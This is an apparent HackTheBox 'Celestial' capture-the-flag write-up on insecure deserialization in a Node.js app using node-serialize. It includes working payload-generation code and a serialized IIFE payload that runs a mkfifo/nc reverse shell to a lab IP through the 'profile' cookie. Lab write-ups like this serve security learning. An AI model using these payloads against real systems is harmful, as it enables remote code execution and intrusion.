Node.js - Insecure Deserialization : Celestial (HTB)

the node express framework is presented at port 3000

intercepting the request first gave us 404 page, but if we refresh the page again we can see a new value in the cookie ( profile )

decoding the profile value, and we can see that it's a json data

Triggering the vulnerability :

Scenario : we will serialize an object and inject it into the cookie parameter ( profile ) to see if the server desrialize our object, and if that's the case, then the application is vulnerable to insecure deserialization

Serialization Code:

using the below code, we will serialize an object which just has a function that prints the "the app is vulnerable to insecure deserialization" message (as described in this article: https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e)

var serialize = require('node-serialize');

x = {
username : function(){ return 'the app is vulnerable to insecure deserialization'; }
};

console.log("Serialized: \\n" + serialize.serialize(x));

the serialized object

{"username":"_$$ND_FUNC$$_function(){ return 'the app is vulnerable to insecure deserialization'; }"}

and we need to append the () value at the end of the function, to make the function self-invoking ( Immediately invoked function expression (IIFE) )

{"username":"_$$ND_FUNC$$_function(){ return 'the app is vulnerable to insecure deserialization'; }()"}

encode the object to base64

passing the request , and we can see that the server deserialized our object

Reverse Shell - BASH TCP :

we will execute the below command on the server using the serialized object to gain a shell on the server

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f

Serialization Code:

var serialize = require('node-serialize');

x = {
username: function(){require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f", function puts(error, stdout, stderr) {});}
};

console.log("Serialized: \\n" + serialize.serialize(x));

Serialized object :

{"username":"_$$ND_FUNC$$_function(){require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.8 4242 >/tmp/f\\", function puts(error, stdout, stderr) {});}"}

making the function self-invoking

{"username":"_$$ND_FUNC$$_function(){require('child_process').execSync(\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 4242 >/tmp/f\\", function puts(error, stdout, stderr) {});}()"}

and we got the shell

Last updated

Was this helpful?